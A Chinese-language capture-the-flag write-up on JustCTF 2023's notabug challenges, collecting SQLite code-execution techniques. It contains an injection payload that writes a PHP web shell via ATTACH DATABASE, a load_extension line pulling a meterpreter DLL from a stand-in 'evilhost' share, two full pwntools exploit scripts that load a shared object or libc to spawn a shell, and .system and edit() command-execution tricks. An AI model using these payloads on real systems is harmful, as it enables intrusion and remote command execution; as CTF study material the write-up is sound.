周末简单看了下 JustCTF 2023 的题目, 主要是三个题目吸引了我的注意, 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次和学到一个了一点利用方式。
Known Attacks on SQLite
在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法: ^1
Attach Database
1 2 3 |
?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']); ?>';-- |
通过写 ATTACH DATABASE
写文件, 然后执行 php 代码
SELECT load_extension
1 2 |
?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- |
在能上传文件的情况在, 且加载扩展的功能必须打开 ^2 。在 JustCTF 的 notabug 中也用到这个技巧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
from pwn import * context.log_level='debug' context.arch='amd64' #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] # p=process('./pwn') import binascii p = remote("0.0.0.0",13337) ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);") with open("./exp.so",'rb') as f: dt = f.read() sla(b"> ",b"INSERT INTO images(name,type,img)") dt = binascii.hexlify(dt) # warning(chr(dt[1])) print(dt.decode()) # input() sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));") sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';") # print(hex(int(p.readline()))) sla(b"> ",b"select Load_extension('./exp','exp');") p.interactive() |
learned from JustCTF
那么如果我们不能上传文件的时候如何利用 load_extension
,方法来做命令执行呢?
load libc.so
我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');
来执行任意的 glibc 方法,例如这里的思路是
通过 puts 、gets 为预测堆地址,并写入我们的结构,然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
from pwn import * # p = process("./sqlite3") #context.log_level='debug' #p = remote("0.0.0.0",13339) p = remote('notabug2.nc.jctf.pro', 1337) ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');") ru(": \n") lic = u64(p.recvn(6).ljust(8,b'\x00')) warning(hex(lic)) pie_base = lic - 0x1589a0 heap = 0x00005555556b0000-0x0000555555554000+pie_base # 1/0x2000 # system_plt = (pie_base+0x2228C) system_plt = pie_base + 0x10910 if pie_base > 0x600000000000: p.close() warning(hex(pie_base)) #lic+0x28b8 sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');") p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad)) # raw_input() dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt) sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');") p.sendline(b"echo n132") # p.interactive() data = p.read(timeout=1) if b'n132' in data: p.sendline("/jailed/readflag") input() p.interactive() else: p.close() |
.system execute command
在 Command Line Shell For SQLite
界面中, sqlite 是内置了一些方法的 ^3 ,其中就包括了 .system
1
|
.system CMD ARGS… Run CMD ARGS… in a system shell
|
这是可以直接执行命令的,但是在 JustCTF 中, 程序做了限制
1 2 3 4 |
# root @ pwnable in /tmp/private [14:10:59] $ cat run-sqlite.sh sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive# |
这个正则的解释就是:
这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义:
/^./:匹配以.开头的行。
{ /^.open/!d; }:对于匹配到的以.开头的行,如果行不以.open开头,则删除(d)该行。
因此,这个sed命令的作用是删除以.开头但不以.open开头的行。
因此通常而言我们是不能直接执行 .system
命令的,但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar');
配合就可以了, 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了
1 2 3 4 |
select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar'); .system /jailed/readflag Runtime error: error during initialization: justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1} |
sqlite3 edit function execute command
在 sqlite 还有一个名叫 Edit()
的函数 ^4, 该 Edit()
接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码,该方法其实也是可以执行任意命令的
1 2 |
sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0, editFunc, 0, 0); |
最后调用到 editFunc
中
1 2 3 4 5 6 7 |
zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile); if( zCmd==0 ){ sqlite3_result_error_nomem(context); goto edit_func_end; } rc = system(zCmd); sqlite3_free(zCmd); |
这是在 discord 看到另外一个队的PoC:
1 2 3 4 5 6 |
sqlite> .open :memory: sqlite> CREATE TABLE t(a INT, b VARCHAR(200)); sqlite> insert into t values (0, ''); sqlite> update t set b=edit('','/jailed/readflag') where a=0; justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1} |
Reference link
1 Many-Birds-One-Stone
2 load_extension
3 SQLite3命令行窗口常用命令
4 The edit() SQL function
原文始发于SWING:从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法